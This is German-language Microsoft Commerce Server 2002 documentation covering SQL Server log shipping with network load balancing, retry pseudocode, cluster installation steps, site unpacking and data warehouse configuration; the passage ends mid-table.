Die Kombination von Netzwerklastenausgleich und der Protokollversandfunktion von SQL-Server bietet eine hervorragende Warm Failover-Funktionalität. In diesem Szenario können Sie den Netzwerklastenausgleich einsetzen, um mindestens zwei Servern dieselbe IP-Adresse zuzuweisen. Dadurch wird die Übergabe der Aufgaben an den zweiten Computer mit SQL-Server vereinfacht, wenn der primäre Computer ausfällt. Die Clientanwendungen werden über den Netzwerklastenausgleichscluster an einen der beiden Computer weitergeleitet, auf dem SQL-Server ausgeführt wird. Wenn ein Fehler auftritt oder das System zeitbedingt abgeschaltet werden soll, können Sie den Netzwerklastenausgleich verwenden, um die Zugriffe auf einen anderen Computer im Cluster umzuleiten, auf dem SQL-Server ausgeführt wird. Der Protokollversand synchronisiert die Server auf der Basis der Häufigkeit der Protokollierung.

Dieser Abschnitt beinhaltet folgende Themen:

Cachewiederholungslogik

Überlegungen zum Netzwerklastenausgleich und zum Protokollversand

Cachewiederholungslogik

Dieser Abschnitt enthält Beispiele einer Wiederholungslogik zum Schutz gegen den Verlust der Datenbankverbindung:

  • Eine Wiederholungsebene
    If (getAuth == error)
   Sleep 1 second
   GetAuth again
Response.write ("Die Anmeldung ist zur Zeit leider nicht möglich. Bitte senden Sie bei Fragen eine E-mail an mailto:helpdesk.")
  • Zwei Wiederholungsebenen
    If (getcatalog == error)
   Sleep 1 second
   Getcatalog again
   If (failed again)
      Response.write ("Ihre Anfrage wird erneut bearbeitet. Bitte warten.")
      Sleep 10
      Getcatalog again
Response.write ("Unser Katalog ist zur Zeit leider nicht verfügbar. Bitte senden Sie bei Fragen eine E-mail an mailto:helpdesk.")

Überlegungen zum Netzwerklastenausgleich und zum Protokollversand

In Microsoft SQL Server 2000 Enterprise Edition können Sie die Protokollversandfunktion verwenden, um Transaktionsprotokolle durchgehend von einer Datenbank zur nächsten zu senden. Durch die kontinuierliche Sicherung der Transaktionsprotokolle aus einer Quellendatenbank und die anschließende Kopie und Wiederherstellung der Protokolle auf einer Zieldatenbank wird eine beständige Synchronisierung der Zieldatenbank mit der Quelldatenbank erreicht.

Beachten Sie bei der Einrichtung des Netzwerklastenausgleichs und des Protokollversands Folgendes:

  • Um die Protokollversandfunktion innerhalb eines Clusters mit Netzwerklastenausgleich einrichten zu können, müssen die Server, auf denen SQL-Server ausgeführt wird, über ein privates Netzwerk verfügen, das vom NLB-Netzwerk isoliert ist. Um ein privates Netzwerk einrichten zu können, muss in beiden Servern, auf denen SQL-Server ausgeführt wird, jeweils eine zweite Netzwerkschnittstellenkarte (NIC) installiert werden.
  • Zur Einrichtung der Protokollversandfunktion muss eine feste IP-Adresse anstelle eines UNC-Servernamens verwendet oder eine der folgenden Methoden angewendet werden:
    • Erstellen Sie eine LMHOSTS-Datei, um die IP-Adressen zu UNC-Servernamen aufzulösen. Eine LMHOSTS-Datei ist eine lokale Textdatei, die Computernamen von Windows 2000-basierten Netzwerkcomputern außerhalb des lokalen Subnetzes IP-Adressen zuordnet. Weitere Informationen zu diesem Thema finden Sie in der Microsoft Windows 2000-Dokumentation.
    • Registrieren Sie, sofern ein WINS-Server im privaten Netzwerk vorhanden ist, die IP-Adressen im WINS-Dienst (Windows Internet Name Service), um den UNC-Namen aufzulösen.
  • Wenn Sie die Server im NLB-Cluster einrichten, auf denen SQL-Server ausgeführt wird, ist der primäre Computer mit dem Cluster verbunden. Sie müssen dann den sekundären Computer, auf dem die Protokollversandfunktion von SQL-Server ausgeführt wird, vom Cluster trennen. Die Server bleiben durch die Versendung des Protokolls vom primären an den sekundären Server synchronisert.
  • Wenn die Kommunikation zwischen den Servern mit SQL-Server nicht isoliert wird, versucht der Netzwerklastenausgleich, die IP-Adresse der zweiten Netzwerkkarte direkt anzusprechen. Dadurch würden Rückkopplungseffekte und weitere Probleme auftreten.

Wenn der primäre SQL Server-Computer ausfällt, kann der Netzwerklastenausgleich automatisch alle Aufgaben auf den sekundären Server übertragen. Je nach Häufigkeit des Protokollversands ist es allerdings trotzdem ratsam, den Übergang auf den sekundären Server manuell vorzunehmen. Wenn Sie das Intervall für den Protokollversand beispielsweise auf fünf Minuten eingestellt haben, kann der sekundäre Server bis zu fünf Minuten im Rückstand sein (vorausgesetzt, dass alle Prozesse richtig funktionieren). Die manuelle Umschaltung des Systems im Fehlerfall ermöglicht eine Überprüfung, ob das letzte Transaktionsprotokoll noch verwendet werden kann, sodass mehr Daten gesichert werden, anstatt bei der automatischen Umschaltung möglicherweise fünf Minuten Datenverkehr zu verlieren.

Durch die Installation von gespeicherten Prozeduren wird die Umschaltung im Fehlerfall mithilfe der Protokollversandfunktion von SQL-Server erleichtert. Weitere Informationen über die Protokollversandfunktion finden Sie in der SQL Server-Onlinedokumentation.


Installieren von CommerceServer2002

Feedback zu dieser Seite senden Commerce Server 2002

Installieren von Commerce Server 2002

In diesem Abschnitt wird beschrieben, wie Microsoft Commerce Server 2002 auf dem Webcluster und dem Business Desk-Cluster installiert wird.

Dieser Abschnitt beinhaltet folgende Themen:

  • Installieren von Commerce Server 2002 auf dem Business Desk-Cluster
  • Installieren von Commerce Server 2002 auf dem Webcluster


Installieren von CommerceServer2002 auf dem BusinessDesk-Cluster

Feedback zu dieser Seite senden Commerce Server 2002

Installieren von Commerce Server 2002 auf dem Business Desk-Cluster

Verwenden Sie das folgende Verfahren, um Microsoft Commerce Server 2002 auf dem Business Desk-Cluster zu installieren.

So installieren Sie Commerce Server 2002 auf dem Business Desk-Cluster

  1. Legen Sie die Commerce Server 2002-CD in das CD-ROM-Laufwerk ein.
  2. Führen Sie Microsoft Commerce Server 2002.msi aus.

    Das automatische Begrüßungsmenü von Commerce Server 2002 wird angezeigt.

  3. Klicken Sie auf Commerce Server 2002-Komponenten.
  4. Klicken Sie im Dialogfeld Commerce Server-Setup, das Sie anweist, die Windows 2000-Patches zu installieren, die nach Windows 2000 Service Pack 2 veröffentlicht wurden, auf OK.
  5. Klicken Sie im daraufhin angezeigten Dialogfeld Commerce Server-Setup zur Installation von .NET Framework auf Nein.

    Der Setup-Assistent für Commerce Server 2002 wird gestartet.

  6. Klicken Sie im Bereich Willkommen auf Weiter.
  7. Wählen Sie im Bereich CPU-Lizenz die Option Ich habe die Lizenzen erworben, und klicken Sie auf Weiter.
  8. Klicken Sie im Bildschirm Erforderliche Komponenten auf Weiter.
  9. Lesen Sie im Bildschirm Lizenzvertrag den Lizenzvertrag, wählen Sie Ich stimme den Bedingungen des Lizenzvertrags zu, und klicken Sie auf Weiter.
  10. Geben Sie im Bildschirm Kundeninformationen einen Benutzernamen, eine Organisation und den Product Key ein, und klicken Sie auf Weiter.
  11. Klicken Sie im Bildschirm Zielordner auf Ändern, um den Installationsort zu ändern. Oder klicken Sie auf Weiter, um den Standardinstallationsordner beizubehalten.
  12. Wählen Sie im Bildschirm Setup-Typ die Option Benutzerdefiniert, und klicken Sie anschließend auf Weiter.
  13. Erweitern Sie im Bildschirm Benutzerdefinierte Installation die Option Commerce Server-Kern, und dann Laufzeitobjekte.
  14. Vergewissern Sie sich, dass die Kontrollkästchen für Analyse und Data Warehouse, Vorhersagedienst und Direct Mailer-Dienst deaktiviert sind, und klicken Sie auf Weiter.
  15. Im Bildschirm Konfiguration der Verwaltungsdatenbank führen Sie die folgenden Aktionen durch:
    Funktion | Aktion
    SQL Server-Computer | Geben Sie den Clusternamen des Datenbankserverclusters ein. Verwenden Sie den Clusternamen, auf den SQL-Server verweist, nicht denjenigen, der vom Clusterdienst verwendet wird.
    Integrierte Sicherheit von Windows verwenden Aktivieren Sie diese Option, wenn Sie für Verbindungen mit der Verwaltungsdatenbank von SQL-Server Windows-Benutzerkonten für die Authentifizierung verwenden möchten.

    Wenn Sie die integrierte Sicherheit von Windows verwenden, werden Benutzernamen und Kennwörter nicht in SQL Server-Verbindungszeichenfolgen gespeichert. Das Rücksetzen des SQL-Kennworts hat keine Auswirkung auf die Benutzernamen und Kennwörter. Weitere Informationen zur Sicherheit in Commerce Server finden Sie unter Sichern der Site.
    Spezifischen Benutzernamen und spezifisches Kennwort verwenden | Aktivieren Sie diese Option, wenn Sie für Verbindungen mit der Verwaltungsdatenbank die SQL Server-Authentifizierung verwenden möchten.
    SQL Server-Anmeldename | Geben Sie den SQL Server-Anmeldenamen ein, der für den Zugriff auf die Verwaltungsdatenbank verwendet werden soll. Verzichten Sie auf Sonderzeichen (wie #, @, % und '), um OLAP-Fehler zu vermeiden.
    SQL Server-Anmeldekennwort | Geben Sie das Kennwort für die SQL Server-Anmeldung ein. Verzichten Sie auf Sonderzeichen (wie #, @, % und '), um OLAP-Fehler zu vermeiden.
  16. Klicken Sie auf Weiter.
  17. Wenn ein Dialogfeld angezeigt wird, das Sie darüber informiert, dass eine neue Verwaltungsdatenbank erstellt wird, klicken Sie auf OK.
  18. Aktivieren Sie im Bildschirm Dienstkonten das Kontrollkästchen Dasselbe Konto für alle Dienste verwenden und alle automatisch starten. Führen Sie im Abschnitt Diensteinstellungen folgende Schritte aus:
    Funktion | Aktion
    Benutzername | Geben Sie den Windows-Benutzernamen für das Konto ein, über das die Commerce Server-Dienste auf diesem Computer ausgeführt werden.
    Kennwort | Geben Sie das Kennwort für das Windows-Konto ein.
    Domäne | Geben Sie die Domäne für das Windows-Konto ein.
  19. Klicken Sie auf Weiter.
  20. Klicken Sie im Bildschirm Zur Installation bereit auf Installieren.

    Der Installationsvorgang wird gestartet.

  21. Klicken Sie auf der Seite zum Beenden des Setup-Assistenten für Microsoft Commerce Server 2002 auf Fertig stellen.
  22. Starten Sie den Server neu.
  23. Wiederholen Sie die Schritte 1-22 auf dem zweiten Server, auf dem Business Desk ausgeführt wird.

Die Installation von Commerce Server 2002 auf dem Business Desk-Cluster ist abgeschlossen, wenn beide Server neu gestartet wurden.


Installieren von CommerceServer 2002 auf dem Webcluster

Feedback zu dieser Seite senden Commerce Server 2002

Installieren von Commerce Server 2002 auf dem Webcluster

Verwenden Sie das folgende Verfahren, um Commerce Server 2002 auf dem Webcluster zu installieren.

So installieren Sie Commerce Server 2002 auf dem Webcluster

  1. Legen Sie die Commerce Server 2002-CD in das CD-ROM-Laufwerk ein.
  2. Führen Sie Microsoft Commerce Server 2002.msi aus.

    Das automatische Begrüßungsmenü von Commerce Server 2002 wird angezeigt.

  3. Klicken Sie auf Commerce Server 2002-Komponenten.
  4. Klicken Sie im Dialogfeld Commerce Server-Setup, das Sie anweist, die Windows 2000-Patches zu installieren, die nach Microsoft Windows 2000 Service Pack 2 veröffentlicht wurden, auf OK.
  5. Klicken Sie im daraufhin angezeigten Dialogfeld Commerce Server-Setup zur Installation von .NET Framework auf Nein.

    Der Setup-Assistent für Commerce Server 2002 wird gestartet.

  6. Klicken Sie im Bereich Willkommen auf Weiter.
  7. Wählen Sie im Bereich CPU-Lizenz die Option Ich habe die Lizenzen erworben, und klicken Sie auf Weiter.
  8. Klicken Sie im Bildschirm Erforderliche Komponenten auf Weiter.
  9. Lesen Sie im Bildschirm Lizenzvertrag den Lizenzvertrag, wählen Sie Ich stimme den Bedingungen des Lizenzvertrags zu, und klicken Sie auf Weiter.
  10. Geben Sie im Bildschirm Kundeninformationen einen Benutzernamen, eine Organisation und den Product Key ein, und klicken Sie auf Weiter.
  11. Klicken Sie im Bildschirm Zielordner auf Ändern, um den Installationsort zu ändern. Oder klicken Sie auf Weiter, um den Standardinstallationsordner beizubehalten.
  12. Wählen Sie im Bildschirm Setup-Typ die Option Webserver, und klicken Sie anschließend auf Weiter.
  13. Im Bildschirm Konfiguration der Verwaltungsdatenbank führen Sie die folgenden Aktionen durch:
    Funktion | Aktion
    SQL Server-Computer | Geben Sie den Clusternamen des Datenbankserverclusters ein. Verwenden Sie den Clusternamen, auf den SQL-Server verweist, nicht denjenigen, der vom Clusterdienst verwendet wird.
    Integrierte Sicherheit von Windows verwenden Aktivieren Sie diese Option, wenn Sie für Verbindungen mit der Verwaltungsdatenbank von SQL-Server Windows-Benutzerkonten für die Authentifizierung verwenden möchten.

    Wenn Sie die integrierte Sicherheit von Windows verwenden, werden Benutzernamen und Kennwörter nicht in SQL Server-Verbindungszeichenfolgen gespeichert. Das Rücksetzen des SQL-Kennworts hat keine Auswirkung auf die Benutzernamen und Kennwörter. Weitere Informationen zur Sicherheit in Commerce Server finden Sie unter Sichern der Site.
    Spezifischen Benutzernamen und spezifisches Kennwort verwenden | Aktivieren Sie diese Option, wenn Sie für Verbindungen mit der Verwaltungsdatenbank die SQL Server-Authentifizierung verwenden möchten.
    SQL Server-Anmeldename | Geben Sie den SQL Server-Anmeldenamen ein, der für den Zugriff auf die Verwaltungsdatenbank verwendet werden soll. Verzichten Sie auf Sonderzeichen (wie #, @, % und '), um OLAP-Fehler zu vermeiden.
    SQL Server-Anmeldekennwort | Geben Sie das Kennwort für die SQL Server-Anmeldung ein. Verzichten Sie auf Sonderzeichen (wie #, @, % und '), um OLAP-Fehler zu vermeiden.
  14. Klicken Sie auf Weiter.
  15. Wenn ein Dialogfeld angezeigt wird, das Sie darüber informiert, dass eine neue Verwaltungsdatenbank erstellt wird, klicken Sie auf OK.
  16. Aktivieren Sie im Bildschirm Dienstkonten das Kontrollkästchen Dasselbe Konto für alle Dienste verwenden und alle automatisch starten. Führen Sie im Abschnitt Diensteinstellungen folgende Schritte aus:
    Funktion | Aktion
    Benutzername | Geben Sie den Windows-Benutzernamen für das Konto ein, über das die Commerce Server-Dienste auf diesem Computer ausgeführt werden.
    Kennwort | Geben Sie das Kennwort für das Windows-Konto ein.
    Domäne | Geben Sie die Domäne für das Windows-Konto ein.
  17. Klicken Sie auf Weiter.
  18. Klicken Sie im Bildschirm Zur Installation bereit auf Installieren.

    Der Installationsvorgang wird gestartet.

  19. Klicken Sie auf der Seite zum Beenden des Setup-Assistenten für Microsoft Commerce Server 2002 auf Fertig stellen.
  20. Starten Sie den Server neu.
  21. Wiederholen Sie die Schritte 1-20 auf jedem Server des Webclusters.

Die Installation von Commerce Server 2002 auf dem Webcluster ist abgeschlossen, wenn beide Server neu gestartet wurden.


Entpacken einer Site

Verwenden Sie folgende Vorgehensweise, um Ihre Site auf jedem Server zu entpacken.

  1. Klicken Sie auf Start, zeigen Sie auf Programme, dann auf Microsoft Commerce Server 2002, und klicken Sie auf Commerce Server-Manager.
  2. Erweitern Sie erst Commerce Server-Manager, und klicken Sie anschließend auf Commerce-Sites.
  3. Klicken Sie mit der rechten Maustaste auf Commerce-Sites, zeigen Sie auf Neu, und klicken Sie dann auf Site entpacken.
  4. Navigieren Sie im Dialogfeld Site entpacken von zu dem Ordner, der die zu entpackende Datei enthält. Wählen Sie die Datei, und klicken Sie auf Öffnen.

    Commerce Server Site Packager wird gestartet.

  5. Wählen Sie im Dialogfeld Entpacken die Option Schnelles Entpacken aus, und klicken Sie anschließend auf Weiter.
  6. Führen Sie im Dialogfeld Schnelles Entpacken die folgenden Schritte aus:
    Funktion | Aktion
    Sitename Geben Sie den Sitenamen ein, falls er geändert werden soll. Verwenden Sie im Namen keine Sonderzeichen, die möglicherweise von SQL Server-Datenbanken nicht erkannt werden können (z. B. #, @, % und '). Weitere Informationen finden Sie in der SQL Server-Onlinedokumentation.

    Nennen Sie die Site nicht "Commerce". Dies ist ein für die OLAP-Datenbank reservierter Name. Wenn Sie Ihre Site "Commerce" nennen, kann dies beim nächsten Entpacken einer Site zum Verlust Ihrer OLAP-Datenbank führen.

    Der Sitename kann aus maximal 127 Zeichen bestehen.
    IIS-Website Wählen Sie den Namen der IIS-Website aus, auf der die Anwendung(en) installiert werden soll(en).

    Hinweis

    • Wenn Sie eine Site in der Verwaltungswebsite von IIS entpacken, sind die Site und Business Desk aufgrund der Sicherheitsbeschränkungen für die IIS-Verwaltung nicht funktionsfähig.
    SQL Server-Computer | Geben Sie den Namen des SQL Server-Computers ein, auf dem sich die Sitedatenbanken befinden werden.
    Integrierte Sicherheit von Windows verwenden Wählen Sie diese Option, wenn Sie die integrierte Windows-Authentifizierung verwenden möchten.

    Wenn Sie die integrierte Sicherheit von Windows verwenden, werden Benutzernamen und Kennwörter nicht in SQL Server-Verbindungszeichenfolgen gespeichert. Das Rücksetzen des SQL-Kennworts hat keine Auswirkung auf die Benutzernamen und Kennwörter. Weitere Informationen zur Sicherheit in Commerce Server finden Sie unter Sichern der Site.
    Spezifischen Benutzernamen und spezifisches Kennwort verwenden | Wählen Sie diese Option, wenn Sie für Verbindungen mit der Datenbank die SQL Server-Authentifizierung verwenden möchten.
    SQL Server-Anmeldename Geben Sie den SQL Server-Anmeldenamen für die Datenbanken ein.

    Hinweis

    • Verwenden Sie aus Sicherheitsgründen nicht die Systemadministratoranmeldung für den Zugriff auf die Verwaltungsdatenbank. Um die Anmeldeinformationen für die Verwaltungsdatenbank nach deren Erstellung zu ändern, verwenden Sie SQL Server Enterprise Manager.
    SQL Server-Anmeldekennwort | Geben Sie das SQL Server-Kennwort für die Datenbanken ein.
  7. Klicken Sie auf Weiter.
  8. Wenn beim Installationsprozess die Ressource Data Warehouse installiert wurde, wird das Dialogfeld Data Warehouse angezeigt. Führen Sie zum Festlegen der Einstellungen für die Ressource Data Warehouse folgende Schritte aus:
    Funktion | Aktion
    Name | Geben Sie einen Namen für die globale Data Warehouse-Ressource ein.
    Server | Eingeben des Namens für den SQL Analysis-OLAP (analytische Onlineverarbeitung)-Computer.
    Datenbank | Geben Sie den Namen der zu verwendenden Analysedatenbank ein.
  9. Klicken Sie auf OK.
  10. Wenn beim Installationsprozess die Ressource Profile installiert wurde, wird das erste von zwei Dialogfeldern mit der Bezeichnung Profilsystem angezeigt. Führen Sie zum Festlegen der Einstellungen für die Ressource Profile folgende Schritte aus:
    Funktion | Aktion
    Profilschemadefinition | Angeben der Profilschemadefinition, die importiert werden soll.
    Sitebegriffsdefinition | Angeben der Sitebegriffsdefinition, die importiert werden soll.
    Ausdrucksdefinition | Angeben der Ausdrucksdefinition, die importiert werden soll.
  11. Klicken Sie auf Weiter.
  12. Wenn beim Installationsprozess die Ressource Profile installiert wurde, wird nun das zweite der beiden Dialogfelder mit der Bezeichnung Profilsystem angezeigt. Führen Sie zum Festlegen der Einstellungen für die Ressource Profile folgende Schritte aus:
    Funktion | Aktion
    Verbindungszeichenfolge für das Profilsystem | Angeben der Dateien, die in den OLEDB-Datenspeicher importiert werden sollen. Klicken Sie auf Ändern, um eine andere Datenbank anzugeben.
    Schemadefinitionsskripts (*.sql, *.vbs) Angeben der Schemadefinitionsskripts, die importiert werden sollen.

    Site Packager verwendet ein Standard-Schemadefinitionsskript. Wenn Sie die Benutzerobjekt-Tabelle oder andere Profilschemadefinitionen modifizieren, müssen Sie SQL Server Enterprise Manager verwenden, um ein Skript zu erstellen, das hier verwendet werden kann. Weitere Informationen finden Sie unter Packen von erweiterten Profilschemas.
    Datenauffüllungsskripts (*.sql) | Angeben der Datenauffüllungsskripts, die importiert werden sollen.
  13. Klicken Sie auf OK.
    Hinweis
    • Wenn Sie mit der integrierten Windows-Sicherheit arbeiten, prüfen Sie im Dialogfeld Commerce Server Site Packager die Liste der entpackten Ressourcen, welche für die entsprechenden Windows-Konten Berechtigungen erfordern.
  14. Sehen Sie sich im Dialogfeld Das Entpacken ist abgeschlossen die Liste der erstellten SQL-Datenbanken und der IIS-Anwendungen an. Klicken Sie auf Protokolldatei anzeigen, um die Liste der Ereignisse in der Site Packager-Protokolldatei anzuzeigen.
  15. Klicken Sie auf Fertig stellen, um Site Packager zu schließen.

Damit ist der Vorgang zum Entpacken der Site abgeschlossen. Anweisungen zum Zugriff auf Commerce Server Business Desk für diese Site finden Sie unter Installieren des Business Desk-Clients.


Installieren des Business Desk-Clients

Bevor Sie den Commerce Server Business Desk-Client installieren können, müssen Sie folgende Software auf dem Clientcomputer installieren:

  • Microsoft Windows 98, Microsoft Windows NT Workstation 4.0, Microsoft Windows NT Server 4.0, Microsoft Windows Millennium Edition, Microsoft Windows NT 4.0, Microsoft Windows 2000 Professional, Microsoft Windows 2000 Server oder Microsoft Windows 2000 Advanced Server mit Service Pack 1 oder höher.
  • Microsoft Internet Explorer 5.5 Service Pack 2 oder höher. Internet Explorer 5.5 Service Pack 2 oder höher muss installiert werden, um auf die Business Desk-Anwendung zugreifen zu können, auch wenn die Anwendung und der Client auf demselben Computer installiert sind.
  • Microsoft Office XP Web Components. Um den Business Desk-Benutzern die Nutzung von Analysis Services über HTTPS zu ermöglichen, muss Ihre Commerce Server-Installation Microsoft SQL Server 2000 Enterprise Edition verwenden. Es ist nicht möglich, eine Verbindung zu Microsoft SQL Server 2000 Standard Edition mit HTTP aufzubauen.

    Microsoft Office XP Web Components umfassen PivotTable-Dienste, die erforderlich sind, um die dynamischen Berichte in Analysis auszuführen. Bei der Installation von Microsoft Office XP oder Microsoft Excel XP, Access XP bzw. Microsoft FrontPage XP werden die Microsoft Office XP Web Components automatisch installiert.

  • Weitere Informationen zur Ausführung von dynamischen Berichten über HTTPS durch Business Desk-Benutzer finden Sie unter Zugriff auf den Analysis-Server über HTTPS.

Installieren Sie den Business Desk-Client auf jedem Computer, von dem aus Sie auf Business Desk zugreifen möchten. Verwenden Sie die folgende Vorgehensweise, um den Business Desk-Client zu installieren.

So installieren Sie den Business Desk Client

  1. Klicken Sie auf Start, zeigen Sie auf Programme, und klicken Sie dann auf Internet Explorer.
  2. Geben Sie im Feld Adresse den URL Ihrer Business Desk-Installation ein (z. B. http://<Computername>/<Sitename>BizDesk). Drücken Sie dann die Eingabetaste.
  3. Übernehmen Sie im Dialogfeld Nach Ordner suchen den Standardordner, oder wählen Sie einen anderen Ordner aus, in dem die Datei der HTML-Anwendung (HTA) gespeichert werden soll. Klicken Sie anschließend auf OK.

    Das Setup-Programm für Business Desk Client wird gestartet. Für dieses Programm sind Microsoft ActiveX-Steuerelemente erforderlich. Wenn diese Steuerelemente nicht installiert sind, folgen Sie den Online-Anweisungen, um sie zu installieren.

  4. Schließen Sie Internet Explorer, nachdem die Business Desk-Installation abgeschlossen ist. Das Business Desk-Symbol erscheint als Verknüpfung sowohl auf Ihrem Desktop als auch im Menü Start.
  5. Um Business Desk zu starten, doppelklicken Sie auf das Business Desk-Symbol auf Ihrem Desktop, oder klicken Sie auf Start und dann auf Business Desk.


Installieren des Geschäftsanalysesystems als selbstständiges Feature

Sie können Commerce Server 2002 so installieren, dass das Geschäftsanalysesystem als eigenständiges Feature implementiert wird. Mithilfe des Data Warehouse Configurator (DWC) können Sie die verteilte Installation des Data Warehouse und Ihrer Nicht-Commerce-Anwendungen und -Webserver konfigurieren. Das Hinzufügen von Nicht-Commerce-Anwendungen und -Webservern hat den Zweck, dass Sie die Webserver-Protokolldateien dem Data Warehouse zum Import zur Verfügung stellen können.

Die folgenden Prozeduren beschreiben, wie Sie Commerce Server mithilfe der Installationsoption Geschäftsanalyse auf einem Computer installieren können. Schließen Sie alle anderen Anwendungen, bevor Sie fortfahren.

Hinweise

  • Entpacken Sie die leere Lösungssite für das Data Warehouse und Analysemodule von Commerce Server Business Desk.
  • Sie können Commerce Server mit der Option Geschäftsanalyse nur auf jeweils einer Site installieren. Für weitere Sites steht die Option Geschäftsanalyse nicht zur Verfügung.
  • Wenn Sie Commerce Server 2002 auf einem Computer installieren, auf dem Commerce Server 2000 Service Pack 1 installiert wurde, enthält der Ordner Laufwerk:\Commerce_Server_Stamm>\sp1 Service Pack 1-Dateien, die problemlos gelöscht werden können.

Dieser Abschnitt beinhaltet folgende Themen:

  • Installieren von Commerce Server mithilfe der Option "Geschäftsanalyse"
  • Konfigurieren der verteilten Installation des Data Warehouse


Installieren von Commerce Server mithilfe der Option "Geschäftsanalyse"

Nachdem Sie die Konfiguration des Data Warehouse abgeschlossen haben, müssen alle weiteren Änderungen an der Konfiguration mithilfe von Commerce Server Manager oder Commerce Server Site Packager manuell vorgenommen werden.

So installieren Sie Commerce Server mithilfe der Option "Geschäftsanalyse"

Hinweise

  • Der Begriff "localhost" darf nicht als Computername im URL oder bei der Aufforderung zur Eingabe eines Namens für den SQL Server-Computernamen verwendet werden.
  • Wenn Sie das Geschäftsanalysefeature auf einem Remotecomputer installieren möchten, müssen auf Ihrem lokalen Computer Internetinformationsdienste (IIS) 5.0 installiert sein.
  1. Legen Sie die Commerce Server 2002-CD in das entsprechende Laufwerk ein. Das Programm Commerce Server 2002 Setup wird gestartet.

    Wenn Commerce Server vom Hersteller (Original Equipment Manufacturer, OEM) auf Ihrem Computer vorinstalliert wurde, wechseln Sie zum Ordner Microsoft Commerce Server 2002 Ihres Computers, und doppelklicken Sie auf Setup.exe. Daraufhin wird das Programm Commerce Server 2002 Setup gestartet.

  2. Klicken Sie auf den Link Commerce Server Installation, und befolgen Sie die Anweisungen.
  3. Geben Sie im Bildschirm Kundeninformation die 25-stellige Produkt ID ein, und klicken Sie auf Weiter.
  4. Akzeptieren Sie im Bildschirm Zielordner den Standardinstallationsordner, oder klicken Sie auf Ändern, um einen anderen Ordner festzulegen, und klicken Sie anschließend auf Weiter.
  5. Wählen Sie im Bildschirm Setup-Typ die Option Geschäftsanalyse, und klicken Sie anschließend auf Weiter.
  6. Im Bildschirm Konfiguration der Verwaltungsdatenbank führen Sie die folgenden Aktionen durch:
    Funktion | Aktion
    SQL Server-Computer | Geben Sie den Namen des Computers ein, auf dem SQL Server für Ihre Verwaltungsdatenbank ausgeführt wird. Wenn SQL Server lokal installiert wurde, wird der lokale Computername angezeigt.
    Integrierte Sicherheit von Windows verwenden Aktivieren Sie diese Option, wenn Sie für Verbindungen mit der Verwaltungsdatenbank die integrierte Sicherheit von Windows verwenden möchten.

    Wenn Sie die integrierte Sicherheit von Windows verwenden, werden Benutzernamen und Kennwörter nicht in SQL Server-Verbindungszeichenfolgen gespeichert. Das Rücksetzen des SQL Server-Kennworts hat keine Auswirkung auf die Benutzernamen und Kennwörter. Weitere Informationen zur Sicherheit in Commerce Server finden Sie unter Sichern der Site.
    Spezifischen Benutzernamen und spezifisches Kennwort verwenden | Aktivieren Sie diese Option, wenn Sie für Verbindungen mit der Verwaltungsdatenbank die SQL Server-Authentifizierung verwenden möchten.
    SQL Server-Anmeldename Geben Sie das Benutzerkonto für die Verwaltungsdatenbank ein.

    Hinweis

    • Verwenden Sie aus Sicherheitsgründen nicht die Systemadministratoranmeldung für den Zugriff auf die Verwaltungsdatenbank. Um die Anmeldeinformationen für die Verwaltungsdatenbank nach deren Erstellung zu ändern, verwenden Sie SQL Server Enterprise Manager.
    SQL Server-Anmeldekennwort | Geben Sie das Anmeldekennwort für die Verwaltungsdatenbank ein.

    Hinweise

    • Wenn Sie die Verwaltungsdatenbank erstellen, geben Sie in die Felder SQL Server-Anmeldename und SQL Server-Anmeldekennwort eine SQL Server-Anmeldung mit Berechtigungen zur Erstellung von neuen Datenbanken in der Master-Datenbank ein. Mithilfe von Enterprise Manager können Sie die Berechtigungen der SQL Server-Anmeldung für die Master-Datenbank aufrufen.
    • Wenn die Verwaltungsdatenbank bereits vorhanden ist, geben Sie in die Felder SQL Server-Anmeldename und SQL Server-Anmeldekennwort eine SQL Server-Anmeldung mit allen Berechtigungen für die vorhandene Verwaltungsdatenbank ein.
  7. Klicken Sie auf Weiter.
  8. Geben Sie im Bildschirm Dienstkonten den Benutzernamen, das Kennwort und die Domäne des Windows-Kontos ein, über das die Commerce Server-Dienste auf diesem Computer ausgeführt werden, und klicken Sie anschließend auf Weiter.

    Das Setup-Programm von Commerce Server gewährt den angegebenen Konten automatisch das Recht Anmelden als Dienst. Commerce Server 2002 Direct Mailer, der Listen-Manager-Dienst, die und die Ereignisprotokollierung erfordern ein Konto für die Sicherheit und den Netzwerkzugriff.

    Hinweis

    • Verwenden Sie zum Ausführen der Commerce Server-Dienste ein permanentes Konto. Wenn dieses Konto zu einem späteren Zeitpunkt deaktiviert oder das Kennwort geändert wird, hört Commerce Server auf zu arbeiten. Anweisungen zum Ändern des Dienstkontos oder des Kennworts finden Sie unter Ändern des Dienstkontos oder des Kennworts.
  9. Klicken Sie auf Installieren, um die Installation zu starten.

Nach Abschluss des Installationsprozesses wird das Dialogfeld Data Warehouse-Konfiguration angezeigt. Mit den folgenden Prozeduren können Sie die verteilte Installation des Data Warehouse konfigurieren.

Siehe auch

Konfigurieren der verteilten Installation des Data Warehouse


Konfigurieren der verteilten Installation des Data Warehouse

Mithilfe des Data Warehouse Configurator (DWC) können Sie die verteilte Installation des Data Warehouse und Ihrer Nicht-Commerce-Anwendungen und -Webserver konfigurieren.

So erstellen Sie die globalen Ressourcen für die Site und das Data Warehouse

So fügen Sie eine Nicht-Commerce-Anwendung zu einer Site hinzu

So fügen Sie einen Nicht-Commerce-Webserver zu einer Anwendung hinzu

So erstellen Sie die globalen Ressourcen für die Site und das Data Warehouse

  1. Geben Sie im Dialogfeld Data Warehouse-Konfiguration im Feld Site den Namen der zu erstellenden Site ein.
  2. Geben Sie im Feld DW den Namen der globalen Data Warehouse-Ressource ein, die Sie erstellen möchten.

So fügen Sie eine Nicht-Commerce-Anwendung zu einer Site hinzu

  1. Klicken Sie im Bereich Nicht-Commerce-Anwendungen auf Konfigurieren.

    Das Dialogfeld Nicht-Commerce-Anwendungen und -Webserver wird angezeigt, in dem Sie mehrere Nicht-Commerce-Anwendungen sowie, innerhalb dieser Anwendungen, mehrere Nicht-Commerce-Server erstellen können.

  2. Klicken Sie im Dialogfeld Nicht-Commerce-Anwendungen und -Webserver im Bereich Nicht-Commerce-Anwendungen auf Neu.
  3. Führen Sie im Dialogfeld Neue Nicht-Commerce-Anwendung auf der Registerkarte Allgemein folgende Schritte aus:
    Funktion | Aktion
    Webserver in dieser Anwendung führen IIS aus Aktivieren dieses Kontrollkästchens, wenn die Server in der Nicht-Commerce-Anwendung Internetinformationsdienste (IIS) 5.0 ausführen.

    Hinweis

